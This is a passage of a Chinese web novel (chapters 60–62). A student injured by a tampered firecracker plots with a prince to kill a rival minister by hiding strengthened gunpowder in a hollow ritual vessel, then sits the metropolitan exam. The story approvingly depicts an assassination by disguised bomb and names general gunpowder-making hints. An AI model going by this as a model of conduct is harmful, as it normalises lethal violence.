头晕目眩地望向人群,看着葛观澜那张似笑非笑的面,段之缙才明白什么叫你死我活。 第60章 060炸伤 因为段之缙倒霉太过,方叙墨和徐明宣也察觉到不对,当即反应过来是有人在针对段之缙,再想想前科累累的某人,真凶是谁一清二楚。 只是找不到证据,方叙墨和徐明宣只能寸步不离地跟着段之缙,葛观澜投鼠忌器,暂时作罢。 但无妨,段之缙自己有人看顾,他在京中的家眷呢? 一但父母受伤,孝子总要在身边伺候,倘若这都做不到,凭什么科考,又何以为官呢?若是再倒霉,丧母可是要守孝三年的。 过了两天安生日子,转眼就是腊月二十二,因为明天是小年,下午钟响国子监便放假,方叙墨送段之缙回家。 临别时,方叙墨握着段之缙的手担忧道:“允升,就算是在家也要小心,若有事就叫王章、琼香他们去方家找我,门房我都嘱咐过了。” 段之缙攥了攥他的手,“若是有事我一定找你。” 第二天一早,段家里里外外地闹了起来,奴才们忙着扫尘,几个老嬷嬷供奉上灶王爷,小白盘里供着各色饽饽,又有半人高的灶糖塔。 姨娘还叫买了一些小糖瓜,上边撒着芝麻,咬下去嘎嘣脆,还带着麦子和油脂的香气,越嚼越粘,差点把牙拔下来。 段之缙不出门,就跟着沈白蘋在屋里剪窗花,沈白蘋瞧了瞧墙上挂着的弓箭,仔细描了一个花样出来,连上边的八仙寿字纹都栩栩如生。然后拿着专门剪窗花的小剪子,红色的纸屑簌簌而下。 段之缙还抿着唇描一只倒悬的大蝙蝠,谐音“福到”,花纹极为繁琐,描完后小心为上,用小刀一点点刻,绝不冒险用剪刀剪。 段之缙刚刻完翅膀,沈白蘋的“弓箭”已经剪好,展示给丈夫看。 “怎么样?” “剪的真好,这个寿字也好,只是剪弓箭的图案做什么?” 沈白蘋回道:“弓就是‘功’,要你这次会试‘有功而返’。” 段之缙更是喜欢,拿着仔细地端详,沈白蘋吩咐人去调浆糊,跟他说道:“等会儿把窗花贴在窗外头沾个喜气。” “还是别了,贴到外头容易坏,白废了你的心意。”段之缙从小匣子里摸出一个香囊,“先贴在纸上,放到这里边呗。”他拿过调好的浆糊,以笔为刷在窗花背面轻扫,然后贴在一张厚实的纸上,叠好放在香囊里,挂在床头。 “这样就好了。” …… 王虞指挥着家里的奴才收拾了一天,连鞭炮都没功夫放,等到晚上用了晚饭,外边的鞭炮声已经不绝于耳了,她连忙吩咐小厮把采买的东西往门口摆。 几个人来到家门口,王虞把手里的香塞给段之缙,吩咐道:“往年都是叫奴才点火,今年不一样,这‘头响’得你来,别害怕,点上了赶紧跑回来。” 放炮,这有什么害怕的?段之缙叫小厮把鞭炮挑起来,捻住引线凑向烧红的香头,引线点着后被迅速抛开,霹雳巴拉的爆竹声瞬间响起。 之后是放烟花,现下的烟花种类可不少,有只管听响的,叫“响炮”,不升空在地上窜的叫“地老鼠”,起火中带炮连声的叫做“三级浪”,段之缙放的这种有花草人物造型的叫“花儿”。 一点火,众人跑到门前,离着街道老远,“九霄环佩”在夜幕下炸开第一重紫色的花瓣,因为火药中搀着“棉花屑”。 第二发“玉堂春”已经呼啸着窜上天际,迸出耀眼的白光照亮了整个夜空。 除了他们家,别人的烟花也在天空中炸开,夜幕像是一张黑纸,画满了转瞬即逝的花朵。 正在大家谈笑风生的时候,段之缙余光扫见一团东西,闪着一点火光直扑王虞门面,几乎是下意识地用袖子挥出,但闻砰的一声,雪白搀着深浅不一的红色,棉絮在空中飞舞。 “啊!”王虞看清发生何事后,惊叫中带着哭腔。 肾上腺素退去,炸开一样的疼痛在皮肉上传递,段之缙压住吼中的呻吟,看向自己的右臂,碎布沾着棉絮贴在有些焦的皮肉上,他突然感到有些目眩,强撑着叫小厮把门前爆炸后的残屑都收集起来,一下子昏了过去。 “快叫大夫!快叫大夫!” 这一行人吵吵嚷嚷地回到内院,大夫匆匆赶来,观察一番后欣喜道:“万幸万幸,应当只是被冲击炸伤,烧伤倒是不严重,敷上我这清凉膏,又恰逢冬季,两三个月即可痊愈。”说完用凉开水冲洗伤处,段之缙被痛得苏醒过来,里衣都被汗水浸透。 他眼睁睁看着大夫将要把药膏往患处贴,现代人的本能叫他收回了手臂,问到:“这伤口洗过了吗?” “这还用问?” “用什么洗的?” 老大夫如实回答。可这样的开放性伤口仅用凉开水清洗可不行,外边的空气脏得很,又有棉絮和布料粘连过皮肉,虽然冬季不容易发炎,但决不能掉以轻心,段之缙吩咐王章出去买烧酒,老大夫以为他怕疼,安慰道:“不用饮酒止疼,我这药里有冰片,抹上去清凉得很,一点儿都不疼。” 语罢就要往段之缙胳膊上涂,被一把拦住。 “我是要用酒冲洗伤处。”幸好蒸馏酒的方式早在元朝便出现了,虽然此间的酒定然达不到医用酒精的浓度,但是聊胜于无。 老大夫眼珠子都要掉出来,“你得疼死了!快别自作主张,叫我为你敷上药。” 这性命攸关的事情段之缙是不听劝的,等着烧酒拿回来先在手心处倒了一些,酒液很快挥发,说明的确是烈酒,段之缙这才咬牙往手臂上倒。 酒液一沾患处就疼得他拿不住酒坛。 千种蚁在肉上咬,万种蜂在皮上蛰,莫过于此。 这种事儿自己干不了,段之缙将酒坛递给大夫,唇色惨白,求道:“大夫,一切后果我自己承担,你再帮我清洗一遍。”然后叫琼香给自己准备一条干净帕子咬在嘴里。 沈白蘋泪巴巴地搂着他的脑袋,叫他埋在怀中,轻轻擦着汗。只是汗越擦越多,还带着沈白蘋的眼泪。 终于冲洗完了,等了一会儿叫酒液挥发,伤处的肉都有些浮肿,成粉白色,大夫这才把药物敷上去,清凉的感觉压过火辣辣的疼,段之缙的牙关也就松了,大夫拿着银子离开,他立刻叮嘱王虞:“母亲,天一亮就去顺天府报案。” 说完,吩咐王章把方才收集的炮仗纸屑都拿过来,当着自己的面翻捡。 王虞此时也察觉到了不对,“这是怎么了?难道有人故意朝我们扔炮仗!” 段之缙一边看着纸屑,一边回道:“可能吧,反正先跟顺天府的人说,我也先查看一番。” 找来找去皆是红彤彤的炮仗纸屑,并无奇特之处。 但段之缙知道,一定是有人在搞鬼。 炮仗所用的火药和军用火药是不一样的配比,前者硝的比例降低很多,就是为了降低杀伤力。今日扔过来的东西并不是很大,明明已经被自己甩了出去,却仍然炸开了层层棉服炸裂了皮肉,这不是取乐的炮仗应该有的威力,恐怕是军队里用的□□。 冥冥之中的预感,段之缙明白恐怕又和葛观澜有关,只希望方才有人看清了行凶者的长相。 第二日段 家分头行动,管家肖伯去了顺天府报官,段之缙则去国子监请假,又要回家养伤,祭酒大人怜惜他,允许两个书童入国子监搬书。 早就吩咐了书童不要太麻利,拖到上课才好,段之缙倚着墙壁等着葛观澜进屋,他要确定一番。 在钟响前一刻多的时候,葛观澜带着他的跟班进了堂屋,仿佛没看见段之缙,径直在位上坐下,段之缙上前敲敲桌子,葛观澜一挑眉,跟着他出去。 外边飕飕刮着冷风,段之缙惨白着脸说:“你赢了,等着年后我就辞去国子监监生的身份,这次会试我也不会与你争。” 葛观澜冷笑一声:“离开国子监对你我都好,你还是回去好好养胳膊吧,别落下什么毛病。”语罢转身离开,段之缙也进屋,叫王章、琼香收拾一部分书回家。 退学是不可能退学的,死都不会退学。这次的会试就算不中他也一定要考,只是现在要稳住葛观澜。 再者,火药又不是难做的东西,宋代《武经总要》里就有配比。问题在于,被朝廷严格管制的硫磺和火硝二物从哪里弄,以及就算是制成了火药,又该怎么用。 段之缙在马车上沉思,很快就回了段家,问起王虞顺天府报案的事情。 王虞脸上带着恼:“老肖跟我说,他话还没说完呢,那师爷就急着说可能是爆竹栓的不紧,从哪个地方飞过来的。什么样的爆竹能飞那么远?这都要炸死人了!” “然后呢?他们说查或是不查?” “就说叫老肖回来等着。” 听到这儿还有什么不明白,顺天府是不会来查这个事情了。 王虞又说:“老肖还说,今天见了一个可怜的妇人,惊着马的那天也在街上,她说有人故意撞她,然后把她的女儿扔到了大街上。” 段之缙心一沉,问道:“然后呢?” “然后?顺天府的衙役都不叫她进大门,说她没有任何证据,怎么好胡说,等着有证人再来报案。若是再来生事,就要打她几十大板。” 果然,蛇鼠一窝…… 只是世间之事,往往是千里之堤溃于蚁穴,这份证词顺天府不记,段之缙也要记下。但不能段之缙来做,自己一个人记供词,谁能证明真假?一定要找官员来,而自己认识的京官就只有一人——邹文。只是邹文每日跟随着端王,只能先约秦先生,叫先生告诉邹文和纪禅。 打定主意,段之缙忍着臂痛亲自登门送上拜帖,秦行见他约在国子监上课的时间便知学生出事了,第二天就登段家大门。 段家门房还是几年前的门房,一见是二爷的先生连忙通报,先生马上被迎了进去,此时段之缙还在被窝里读书。 在家中嘛,能不下床就不下床。 然后被小厮拽着那只好手从床上拖起来,急急忙忙穿上衣服。 琼香急得鼻尖冒汗,“秦先生已经在正堂等着了,二爷赶紧的吧!” 段之缙单手提上鞋跑去正堂。 秦先生左右绕着看了看,心疼道:“这次又是哪伤了?”他若没受伤,段之缙定然不会请假。 段之缙将事情的经过和盘托出,秦先生怒发冲冠,“葛家有几条人命,敢这样行事!” “先生,我怕是靠不住顺天府了,但那妇人也是可怜,若是顺天府不管,我们能不能自行录一份供词,若是能得到端王的许可更有说服力。” 他此时想着惊马一案,秦行眼睛一眯,想到了更深的地方。 “你先好好养伤,我会去和端王说的。” 又聊了一些具体的细节,秦先生就起身去了王府和纪禅商讨。 自上次听了这师生二人的建议,纪禅一下子放松许多,每日要管的就是自己的差事和参禅论道,现在穿着僧袍和觉明僧人论“善”。 听完了秦行的话,端王念一声“阿弥陀佛”,叫觉明退出去,阖目说道:“段之缙也够可怜的,只是葛礼一向受父皇的宠爱,现在不仅管着户部还能帮六弟处理工部事宜,父皇如何能舍下他,舍不下葛礼,又如何能处置他的儿子?叫段之缙安心上课,这件事本王来处置吧。” 现在的形式比之以前大不相同了,誉王不是傻子,眼见着自己和老四打得不可开交,老六的势力倒是日益壮大了如何猜不出皇帝的意思,再加上纪禅一副想开了的模样,整日吃斋念佛,誉王的注意力已经转向了肃王。 肃王自然不是兄长的对手,拿了一个礼部,还要领着端王管了一半的工部,若不是父皇叫葛礼来指点,恐又要闹出事来。 秦行却笑道:“王爷,万事还是得试一试才能下结论,而且这件事,就算不能成功弄垮葛礼,也要为日后做准备。” “我去为难葛礼,只会弄得一身腥。” “这个事儿不一定要王爷做,誉王也可以。恐怕他这个前亲家已经恨葛礼入骨了。再者弄倒葛礼有两大好处,一则能叫肃王手足无措,二则打破户部那铁桶,好方便王爷的人进去。” 还能给段之缙出一口气,只是这就没必要说了。 纪禅眼帘张开,眼里闪过一道精光,“那就叫段之缙过来说说话,本王看看怎么安排。”【你现在阅读的是 】 60-70 第61章 061爆炸 过了小年,皇帝封笔不再理政,上至亲王下至末流小官也跟着放假,恰是见段之缙的好时候。 只是不能在王府里见面,偌大一个端王府,无论是从大门进人还是小门进人都惹眼得很,端王找了一个好去处,城郊香火鼎盛的紫阳宫——京城里著名的道观,紫阳真人就在里边修行。 一大清早,段之缙与秦行分乘马车去郊外的“小芥子山”,紫阳宫就在山上。 小芥子山裹在腊月的白霜里边,枯枝挑着残雪,本以为该是清冷寂静之处,谁知香火鼎盛,山道石阶上俱是行人,原本粗糙的石头被磨得油亮,段之缙拢紧灰狐裘领口,呵出团团白气。 山不高,跟随众人一会儿就到了顶部,金丝楠的匾额,篆笔刻了三个大字——紫阳宫。 秦行和小道童相互施礼,“我们约好了真人,今日来拜访。” 总角小童就领着他们进殿后,一丝人声不闻,唯有麻雀在枝头跳跃。 这才像是修行之所。 小童将他们领到一个黑木院门前,合手行礼,“真人在此炼丹,二位请进吧。” 敞开院门,院内青烟袅袅,三尺铜炉底下红焰阵阵,紫衣道人从广袖间掏出一块木头,直扔进炉中,水沉香的气息如波浪般涌来。 端王坐在织锦蒲团上,也着一身道袍,手持太极乾坤扇扇动炉火,火焰时高时低,热得他额间鼻头全是汗水,滴滴答答坠下来,又被热气烘干。 段之缙跟着先生行礼,安安静静地找了个角落处的蒲团坐下,看着那两人热火朝天地炼丹。 没忍住,段之缙问道:“这又是什么时候染上的癖好?” 秦行兜兜手,“嗨,儒释道一家,修佛不修道的都是假把式。” 两人不再言语,真人打开炉鼎,里边铅汞汁液翻起一串银泡,他恬然一笑,“王爷,该添真火了。”纪禅并指捏住一打黄色纸符投入炉焰中,火苗瞬间腾起,烧了得有一刻钟才渐渐回落。段之缙暗笑:“真是干一行爱一行,现在炼丹也会了。” 等到正午时分,日头最盛的时刻,丹药终于炼好。 吕太清给王爷擦汗,真人将炉中的丹药用玉筷夹出,赤金色的小丸流光溢彩,被装到玉瓶中去,递给端王。 紫阳真人以手结印向纪禅行礼,“小道先行靠退。”独留这三个熟人。 纪禅带着他们进屋,边走边说:“那天的妇人,邹文已经去问过了,她自己说的模棱两可,虽咬死了定然是有人在害她闺女,可到底没有证据。张顺的家人也差人去找了,现在仍没有找到。你可有旁的证据能说明是葛家在害人?” 段之缙回:“炸伤学生的 东西扔过来的时候,学生已经将它甩了出去,里边的火药威力比世面上的大很多,应当是军用的。再者制作火药的硫磺和火硝都由朝廷管控,民间只准售卖药用芒硝,纯度高的一概禁止买卖,能否从此处查起?” 端王摇着扇子扇风,眯着眼睛回:“这可没法查,只要有了硝石、硫磺和木炭,火药自己就能配。硝石、硫磺底层的小民难弄到,但是朝廷官员要弄可就方便了。” “那火硝,制作的方法也不难,只要有心有胆,茅房旁边挖点土,自己在家就能炼。硫磺更好得,《神农本草经》说硫磺‘主妇人阴蚀,疽痔恶血,坚筋骨,除头秃’,找大夫开方上街买,或者求皇上赐下皆可。” 他说完一笑:“你要是从火硝、硫磺上查起,第一个得查到本王身上,我在观里炼丹,火硝、硫磺不计其数,岂不是我的嫌疑最大?可还有旁的证据?” 旁的证据却没有,端王大失所望,但也是意料之内,跟秦行说道:“葛礼做事一向缜密,轻易搜不出他的马脚,现在只能先找张顺的家人,户部的事情日后再说吧。”说完,袍子一撩,叫秦行和段之缙自己去逛逛,把紫阳给他找回来。 秦行叹一口气,户部的事情也只能暂且搁下,领着段之缙往外走。段之缙却神思不定,因为他听到了关键信息。端王这里火硝、硫磺应有尽有,并且对葛礼磨刀霍霍。 不能就这么走了,但叫先生知道了这个事情,自己的形象恐怕是天翻地覆。段之缙拉着秦行的手问:“先生,您要回家吗?” 现在都到了年关,秦行自然要回家去团圆,两个人回到城内,段之缙掀开帘子,远远地看着秦家的马车走远,彻底看不见影子时,他先叫侍从回家报信,说自己可能住在城外,又立刻吩咐车夫掉头,重回紫阳宫。 还是那条山路,一步两个台阶地爬上去,段之缙只说要见紫阳真人,小童见他去而复返不知所以,还是领着他去了后边丹房,现在天已经黑透了,端王正用晚斋,听说他返回十分惊讶。 “你回来干什么?有东西忘了?” 纪禅看着气喘吁吁给他行礼的段之缙问,后者好不容易喘匀了气,回道:“学生想知道,王爷是否想叫户部脱离葛礼?” 纪禅嫌他说废话,若是有什么好主意赶紧说。 段之缙一狠心,话里竟带着些杀伐气,“学生只知道,若是葛礼死了,户部自然得重新找人。” 端王一口茶呛出来,咳得太阳穴突突跳,像是头一回儿见他一般打量着,奇道:“你胆子还真不小,张口就说杀人啊!” 可也没觉得怎样,论杀人,纪禅的心理负担更小,只哼笑着嗔他一句:“你倒是真敢想,他是朝廷重臣,岂能轻易杀了?你在车上喝酒了回道观说胡话?” 段之缙镇定道:“倘若是历代先皇要他死的呢?除夕那天陛下领群臣祭太庙,燎祭里中百官要把礼器扔进火中,供我先主享用。若是在葛礼投礼器的时候,礼器炸开了,是不是历代先皇不肯接受葛礼的供奉?” “那火药放在何处?”纪禅发问,又一下子顿住,“等会儿,可以做成中空的。”祭祀的时候,什么官员捧什么样的礼器都是有数的,到时候买通人偷偷换了也不难,唯一的困难就是如何能叫火药的威力增大。 现在的火炮多是实心弹,原因就在于□□威力有限,难以把整个弹壳炸开,虽说中空的铜皮薄些,但礼器的重量在,做得太薄容易惹人怀疑,增加火药的威力势在必行。 段之缙还记得一些火药进化史,□□颗粒化是其威力大增的重要方向。 “能不能把火药弄成大小均匀的颗粒试一试?”说到这,接下来的话就有些难以启齿了,“可以用尿拌匀火药晾干,然后再磨成小颗粒,只是一定要均匀。还有硝、硫磺等的配比,稍加稍减某一种材料以测试其威力,只是若要这样测试,弄出来的动静太大不好收拾。” 前边的话说的吞吞吐吐的,后边的话才恢复正常,本以为端王会面露嫌弃,谁知他却是十分赞同,“你还真有些巧心思,硝土多从茅房周边找,用人溺拌匀应该有用。” 他拿起自己的八卦扇摇摇,“至于声响,这倒不妨事,现在过了小年日日都有炮竹烟花,就在那个时候试验。且这在道观里,炼丹炸炉之声比炮竹大的多,也不显眼。” 段之缙放下心,葛礼的心思缜密,端王做事也不留痕迹,绝不会置自己于险境。 端王估计了一下来回的时间,料想他也没吃饭,见桌上还剩了些粳米和小菜,便叫他坐自己对面吃。 这些王公贵族,即便到了观里也不会自己夹菜,都是吕太清用公筷伺候,段之缙便将剩下的东西一扫而净,抬眼就看见端王把上午炼制的赤金丹药往口中送。 这可都是铅汞小药丸啊,怎么蝴蝶效应这样大,叫这不吃丹药的人也吃上了?还是说谈佛论道之人,学到深处就一定会走向吃丹?明、清世宗都是如此。 段之缙劝道:“《资治通鉴》里说唐宪宗服金丹后多躁怒,左右宦官往往获罪,有死者,人人自危。且唐代多有帝王因金丹暴毙,为了身子着想,王爷还是不要吃了。” 纪禅却递过玉瓶,“你吃一颗吧。” 段之缙犹豫一瞬,还是接过来,只是流光溢彩的丹药握在手里,怎么也不敢吃。 “你瞧,本王当着你的面吃了你都不敢吃,若本王不吃呢?你恐怕连接都不敢接。我若是想劝父皇吃,总要自己先吃着试试。你可知吃了这个丹药是什么感觉?身轻如燕、精神焕发,一夜不睡也不觉疲倦。父皇年纪大了精力大不如前,还要事必亲躬如何能撑住?本王将自己用的好的药献上,也是尽孝了。” 做什么事情都要做到尽善尽美处,端王自然知道金丹有害,可为了获得父皇的信任,别说是金丹了,就是鹤顶红也得往嘴里塞。他很明白自己的身体,比之父皇肯定是强的。 室内的灯火明明暗暗,端王的神情也分辨不清,段之缙牙关发颤,又忽然平静下来。 有什么好怕的?自己站在他这一边,该觉得安心才是。在朝廷里站队,最怕的是猪一样的队友,一招算错,全家抄斩。 外边的天黑压压的沉下,城门也已经关闭,任何人不得进出,段之缙就留在紫阳宫中睡了一晚,第二天才回到家中。 过了年,初二日国子监正常上课,许是烧酒消毒当真有用,段之缙被炸伤的地方恢复得很好,已经结了一层厚厚的痂,摸上去邦邦硬,敲起来还有沉闷的响声,连大夫也觉得奇。 他收拾了一些东西回国子监,却见方叙墨正等在监门口,兴奋地朝他招手。 等着近了,方叙墨压住声音里的兴奋,低声说:“你猜怎么着?葛礼死了!” 还真成了! “这是怎么一回事儿?” “坏事做太多遭报应了!除夕,皇上领着群臣祭太庙,燎祭时百官献礼器,大家都好好的,偏生葛礼的礼器刚入燎炉中就炸了,葛礼直接被四溅的铜片割了喉,血都喷到了柱上。炉里其他的礼器也都碎成了片。” “可还有旁人受伤?” 方叙墨摇摇头:“没听说,应当没有吧。” 如此,葛观澜就能安安分分回家守孝了。 段之缙沉默地走进国子监,方叙墨还在絮絮叨叨:“他死的太不吉利了,到处都是风言风语,说是列祖列宗发怒,不受享葛礼的祭品,葛家也不敢哭嚎祭奠。他死的也不是时候,你说日后再过除夕,葛家是放鞭炮还是哭丧好?” 顶着一张温温柔柔的脸,说出来这么刻薄的话,直接把段之缙逗笑了。 这边段之缙能安心上课, 端王也收获了意外之喜,户部钱粮重部,心力交瘁的皇帝左挑右选,竟然叫纪禅暂理,户部尚书再行挑拣。 第62章 062会试 一月初,京城的客栈已经住满了各省应试的举人,国子监也将参加二月会试的学生报送到顺天府,春闱迫在眉睫。 段之缙伤在右臂,伤处结了一大片棕褐色的痂,每每因为写字牵动伤口,在边缘处渗出血水,但也无可奈何。幸好现在天气寒冷,患处不至于感染,兼之听起课来全神贯注,倒也顾不得疼,学着学着,眨眼就到了时候。 会试说是春闱,却安排在二月初,京里寒风刺骨,一点春意不见,时不时飘起雪花,冷丝丝地沾在大毛衣裳上,或是迎面贴上棉衣,一点点渗进去。 春闱于二月九日,十二日和十五日连试三场,和秋闱的规矩一样,都是提前一天入场,后一天出场,考试时间仅限于当日。 二月七日,国子监给考试的监生放假,段之缙回到家中,本以为会有人在二门接自己,却不见一个熟人。 纳闷地跑去主院给母亲请安,却见从家中的主子到得脸的嬷嬷都凑在王虞身边,各个都是喜笑颜开,压根没注意到段之缙。 到底是亲儿子,唯有施姨娘过来理他,笑着拍了拍他的肩膀。 “好儿子,大喜事!绪儿媳妇有身子了!怪道说过年了也不上京来,身孕有了三个月,老太太做主把他俩留在了王家。” 王虞终于从信纸上拔出了眼睛,见段之缙在这儿,邪火顿旺,“真是不能人比人,你四弟十七岁就要有儿子了,你今年都二十四了,我的孙子在哪儿?!” 放在古代,这年纪属实不小了,段之缙摸摸鼻子,讪讪笑道:“母亲,孙子不就在弟妹肚子里吗?”王虞一恼就要骂他,段之缙讨好地拜两拜说:“今晚上子时就要入场,母亲发发慈悲,先叫我看看考试的东西吧。” 这几个人才从生育子嗣的事儿上拔出心神,许嬷嬷叫小厮把给二爷准备的东西拿上来。 王虞从箱子里拿出一件大白狐狸裘,“我们也不知道贡院的规矩,能不能叫你活动,但是今天晚上要飘雪,明日冷得很。这件是狐狸毛一点点攒起来的,触之升温。还给你弄了个熊皮坐褥,别冻着你。还有手炉,里边也是上好的碳,起码能撑一天,但是考试那日还能不能热就说不得了。” 会试不同于秋闱,全国的举人汇聚一处,少时五六千人,多时□□千上万,因而衣服任你穿,但决不许带炭火蜡烛,唯恐走水闹出人命。 一应的茶饭也不许带,饮食俱由贡院提供,一则省下搜检的功夫,二则也是能叫士子们吃口热乎的。 查检了笔墨砚台,等到子时,段之缙被沈白蘋从床上拽起,收拾利索推他上马车,又递给他一个香囊。 “里边是那个窗花,你挂在马车上,图个吉利。” 黑漆漆的夜里沈白蘋的眼睛跟两颗闪光的星子一般,硬生生闯进人的心里,段之缙咳了两声,接过香囊上马车,留沈白蘋一人在后边看着马车远去,消失地无影无踪。 夜空飘下零星的雪花。 …… 所有的流程均与会试同,只是兵役更多,查检更繁,提调官领着兵丁四处走动,搜检房里,时不时有士子被扯住拖出。 终于轮到段之缙进搜检房,屋里火炭烧得正旺,搜检官打着哈欠沉着脸,只说了一个“脱”字,这一排考生便脱个精光,雪白的里衣被差役拿在手里,一点点翻看,确定没有小抄后便检查身体,比乡试更细致,从脚底板开始查。 因为这次考试的人员过多,全部考生入场后已经是八日申时,场内水夫的姜汤都已经送了三四次,段之缙看着号房角落里的小尿壶,面露苦涩。 本来冬天就尿多,贡院里又不准生火,靠姜汤饭食取暖尿更多,也只能撒在这个小壶里。 段之缙缩缩身子,用大狐裘把自己整个罩住,盘腿坐在凳子上,小手炉夹在腿中间,屁股底下是熊皮坐褥,也不算太冷。 外边的雪还在下,且有越下越大的趋势,段之缙挂起油布遮挡,以防雪花飘进来弄湿几案。 为第二天的考试准备,段之缙开始磨墨,然后分批倒如墨瓶中拢在怀里暖着,害怕第二日气温更低,水凝结成冰难以磨墨。 一直到今夜子时之前,水夫送了四次姜糖水,贡院也提供了一次饭,和美味无关,但暖洋洋地下了肚,吃着舒心。 晚上没人敢睡觉,外边的雪越飘越大,就算张起了油纸也挡不住飕飕的寒风,倘若在半夜失温,连个叫救命的机会也没有。 睁眼看着天黑到了极点,终于在东边升起了一轮红日,阳光照在场前的雪上,更觉得冷意刺骨。 那唯一能发热的小手炉也成了冷疙瘩,反倒要段之缙来提供温度,被他扔出狐裘。 暮色还未彻底褪去的时候,雪终于停下了。 内场里,充任知贡举的礼部侍郎方觉和三位翰林院出身的春闱总裁紧盯着滴答滴答的西洋钟,辰时整打开黄绫题封,三道四书文钦命题和一道诗题同时公示,第一题为“当暑,袗絺綌”,第二题“武王缵大王、王季、文王之绪”,第三题为“责难于君谓之恭”。 诗题为“惊雉逐鹰飞”。 段之缙看着题牌走过,将四道题一次性抄录下,抓紧时间看题写题。今日化雪更冷,衬着现在手指和灵活,得赶紧把题目写完,等到手指僵了,写字定然会受到影响。 第一题很有门道,语出《论语乡党》,原文是“当暑,袗絺綌,必表而出之”,是说孔圣在夏天出门时,还要在单衣上罩一件外衣,而朱子对此的解释则为“表而出之者,必加表衣于外,以存敬也”,虽然天气盛热,但是先圣仍然遵循礼制,内外衣分明,是“敬”与“节”。 经过这么长时间的训练,段之缙以“敬”与“节”二字为眼,仅仅扣住朱子的“存敬”二字,破题为:“夫暑服虽轻,礼存敬慎;葛衣虽薄,节见精微也。” 下笔如有神,接着承题:“袗絺綌者,暑之常服;表而出之者,礼之大防。圣人于细微处见精神,此之谓也。” 文章一气呵成。 第二题语出《中庸》十八章:“武王缵大王、王季、文王之绪,壹戎衣而有天下。”是在讲周武王继承先祖遗业,以德伐纣。朱熹认为“武王能继先王之业,以仁义伐暴,故不待血战而天下归之。”承继三代德政,以“仁义”而非武力得天下。 一言以蔽之,施德政顺天命而得民心,天下归。 这是科举考试颠簸不破的主题,但是如何能写出新意呢? 若是一味地从德政和民心下手,怕是难以脱颖而出。 段之缙回想起了雍朝的开朝历史,纪家外戚出身,一边和前朝皇室联姻,一边和满朝文武做亲家,太祖皇帝为次子,娶方家妇,是为章成皇后。后来长子病故,野心勃勃的太祖成为家主,为大将军,统领朝廷的兵马。 他先劝服前朝哀帝削藩,杀尽了地方带兵的宗室,又鸩死哀帝,扶持废帝上位,三年之后,废帝自请禅位,太祖得以登基。 以臣凌君,得国不正。 只是,虽得国不正,谁又能说太祖不是明君呢? 段之缙已经做好打算,这一篇要明颂武王,暗扬太祖,以“天命无常惟德是辅,大业非私,以道为公”破 题,全篇紧扣“以德配位”四个字,最后称武王为“非弑君也,承天命也”。 一篇写完,段之缙正搜寻草纸上可修改处,水夫便提着滚烫的姜糖水来了,澄黄的液体倾斜在小碗里,段之缙立刻把砚台摆在碗上加温,然后又拿出一个小瓷碗示意水夫再添一碗。 天太冷,砚台里的黑墨水已经有了冰碴子。 抄录完第二题,段之缙的手指已经难以屈伸,赶紧放在大腿下边压着才缓过来点劲儿,手臂的伤处就这么冻着,倒也没觉得疼。 稍微暖过来些,他捧起了第二碗姜糖水,火辣辣的姜味儿一下窜到胃里,人瞬间活了过来。汤里还放了好些糖,比昨日更甜,甜的嘴都难张,但能在这么冷天里喝一碗姜糖水,真是说不上来的满足。 稍微歇了一会儿,段之缙开始看第三题,“责难于君谓之恭”,语出《孟子离娄上》,“责难于君谓之恭,陈善闭邪谓之敬,吾君不能谓之贼。”是说臣子只有劝谏君主,才是真正的恭敬。 而其难点就在于如何将“君君臣臣父父子子”的伦理纲常和“格君心之非”融会贯通,段之缙思考良久,破题为“责难于君者,非逆也,乃大恭也;君君臣臣者,非拘也,乃道存也。”以道统政。 奋笔疾书,段之缙草写之时已经过了晌午,贡院的茶饭也已经发下,但书文开始便不能停,等草纸上的文章完成时,饭菜已经凉透。 一个粗面饽饽,混着猪肉的炖白莱。 段之缙喝了一肚子水,背过身用墙角的小壶小解。 他也不敢吃饭,怕冷饭进了热肚起反应,盖个屎戳子就全完了。 太阳已经开始西移,段之缙的手也冻得厉害,指尖有些发青,搓了搓手,他没什么时间休息,抓紧往卷纸上抄,然后才去思索那道试帖诗。 “惊雉逐鹰飞”,出自南北朝庾信的《冬狩行四韵连句应诏诗》,咏物即可,这倒是不难了。 段之缙提笔出句:“草际寒光动,苍鹰掠野飞……” 到下午日头变冷之前,段之缙终于答完了题。在贡院里的最后一顿饭也送上来,蒸干粮和炖菜,送来的时候还是温热的,正好入口。段之缙少吃了一点饭菜,又检查了一遍卷纸,就开始搓手取暖。 好冷的天啊,哪怕是撒尿都舍不得那点热乎气,段之缙直接把手压在屁|股底下保暖,整个人缩在凳子上,等着水夫再来送点热乎姜汤。 太阳终于落下,贡院发下蜡烛和罩火的灯罩,那点幽怨的光和天上的星子交相辉映,红色的烛泪蜿蜒而下,时间一点点到了子夜。 收卷领取号牌,等到二月十号下午时分,段之缙才得以出贡院,在马车上迷迷糊糊睡觉,只庆幸这次有姜糖水,这会儿到也不觉得多么饥饿,只是身子困乏,脑子也不甚清醒。 对了,端王炼制的那枚丹药还在自己这儿呢。 要不要考试前吃一颗?想想还是算了,若是第三场考试撑不住了再吃。 当天晚上子夜时分,仍是昨日的流程,入场考试,题目为五经文四道,所出题目俱要书写。 这些都不是钦命题,而是总裁自己出题,题目都很端正,其中“穷则变,变则通,通则久”一题用心最为险恶,学生往往只重其“变”而忽视了“穷”,朱子所倡导的并非是“勤变”,而是“穷变”,事物发展到极致乃至“穷”的程度才需要“变”。 二月十二要暖和一些,考场中也不那么难熬,下午日头好的时候段之缙伏案睡了一会儿,吓得巡逻的号军来查看,生怕贡院的士子被冻死了。 至于他真正清醒的时候,却是附近号房的考生没憋住,又不想盖屎戳子,直接在小壶里解决了。 虽说天气冷,但是连气味带声响,很快招来了号军。受卷官暂时收上了他的卷纸,叫他去茅房里解决,连小壶也被清理,屎戳子也逃不过去。 但是段之缙好歹清醒了,苍蝇搓手到收卷,一回到暖融融的段家就死死睡了过去,到子时还是迷迷瞪瞪,急得沈白蘋拍了一个冰帕子在他脸上,段之缙浑身一个激灵,暂时回过神。 看来这丹药不得不吃了,一仰头直接吞下,提着考篮上马车,等着到贡院时,段之缙浑身都是精神气,眼睛都能射出光来。 最后一场考试为策三道,策题虽不被考官们重视,但绝不比时文好写,尤其是题目简短写作更加困难,考生为求出彩,往往要耗费大量的时间去思考,以求面面俱到。 观今日三题,行政、吏治都有了。 第一题只“赈灾”二字,段之缙将灾情分为旱灾、水灾、地震几类,从下发赈灾钱粮说起,又讲以工代赈,抚民杀贼等法。 第二题为“澄清吏治”,段之缙从选官入手,从任官起便要严查官员的品性,又转向官员考核定绩效,优则奖劣则罚,最后提到对官员的日常要求,上官以身作则以防上行下效。 